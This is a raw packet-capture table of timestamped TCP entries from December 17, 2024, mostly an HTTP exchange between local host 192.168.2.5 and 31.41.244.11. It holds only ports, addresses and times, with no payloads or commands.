Dec 17, 2024 08:03:29.657752037 CET	443	49873	104.131.68.180	192.168.2.5
Dec 17, 2024 08:03:29.799575090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.799680948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.799772978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.799824953 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.800014019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.800056934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.800127029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.800170898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.800909996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.800956964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.801090956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.801137924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.801801920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.801855087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.802143097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.802191019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.802222013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.802267075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.803033113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.803077936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.803184986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.803230047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.804096937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.804143906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.804349899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.804394960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.804833889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.804882050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.804965019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.805011034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.805752039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.805798054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.805866957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.805912971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.806710005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.806761980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.806832075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.806875944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.807600975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.807660103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.807748079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.807796001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.808520079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.808568954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.808638096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.808681965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.809434891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.809484005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.809567928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.809613943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.810343027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.810386896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.810472012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.810516119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.811239958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.811284065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.811367989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.811409950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.812174082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.812217951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.812284946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.812329054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.813097000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.813143969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.813210964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.813254118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.814030886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.814075947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.814126015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.814169884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.814973116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.815015078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.815018892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.815057993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.815851927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.815897942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.815963030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.816009998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.816759109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.816808939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.816874027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.816919088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.817672968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.817725897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.817832947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.817877054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.818576097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.818624020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.818691015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.818737984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.819505930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.819554090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.819622040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.819664955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.820421934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.820472002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.820550919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.820595980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.821335077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.821386099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.821461916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.821506023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.822366953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.822416067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.822483063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.822524071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.823163033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.823210001 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.823276043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.823331118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.824093103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.824142933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.824208975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.824254990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.825012922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.825062037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.825071096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.825113058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.825911045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.825956106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.826011896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.826056957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.826850891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.826896906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.826961994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.827006102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.827745914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.827794075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.827847958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.827891111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.828655958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.828705072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.828779936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.828823090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.829571962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.829618931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.829664946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.829708099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.830504894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.830548048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.830614090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.830657005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.831422091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.831474066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.831521988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.831574917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.832321882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.832375050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.832436085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.832482100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.833251953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.833297968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.833369017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.833415031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.834158897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.834208012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.834265947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.834311008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.835309982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.835366011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.835511923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.835556984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.836370945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.836417913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.836450100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.836493969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.836909056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.836952925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.837021112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.837065935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.837816954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.837862015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.837924957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.837969065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.838880062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.838924885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.839087009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.839131117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.839808941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.839854002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.840032101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.840076923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.840677023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.840728045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.840780020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.840823889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.841480017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.841525078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.841586113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.841625929 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.842453003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.842495918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.842551947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.842596054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.843332052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.843379021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.843455076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.843499899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.844274998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.844321966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.844388008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.844432116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.845187902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.845232964 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.845316887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.845361948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.846077919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.846121073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.846208096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.846254110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.846998930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.847043991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.847167015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.847212076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.991786957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.991851091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.991916895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.991971970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.991998911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.992042065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.992105961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.992146015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.992924929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.992969990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.993025064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.993062973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.993843079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.993870974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.993892908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.993908882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.994564056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.994607925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.994612932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.994642019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.995393991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.995439053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.995472908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.995512009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.996314049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.996361971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.996445894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.996488094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.997243881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.997287035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.997356892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.997415066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.998200893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.998254061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.998430014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.998473883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.999067068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.999109030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:29.999140024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:29.999182940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.000030994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.000081062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.000134945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.000176907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.000946999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.001005888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.001076937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.001116991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.001836061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.001884937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.002007961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.002100945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.002724886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.002784014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.002831936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.002882957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.003665924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.003715038 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.003781080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.003823042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.004584074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.004631042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.004718065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.004767895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.005466938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.005511999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.005573988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.005630970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.006426096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.006474018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.006503105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.006546974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.007339954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.007395983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.007395983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.007440090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.008236885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.008285046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.008332968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.008379936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.009125948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.009170055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.009270906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.009318113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.010059118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.010107040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.010174990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.010217905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.011003971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.011050940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.011070013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.011112928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.011898041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.011945009 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.012012005 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.012049913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.012973070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.013021946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.013034105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.013077974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.013720036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.013771057 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.013832092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.013874054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.014625072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.014684916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.014753103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.014796019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.015517950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.015557051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.015654087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.015698910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.016459942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.016505003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.016581059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.016634941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.017437935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.017479897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.017622948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.017678022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.018717051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.018762112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.018848896 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.018898010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.019211054 CET	80	49867	31.41.244.11	192.168.2.5
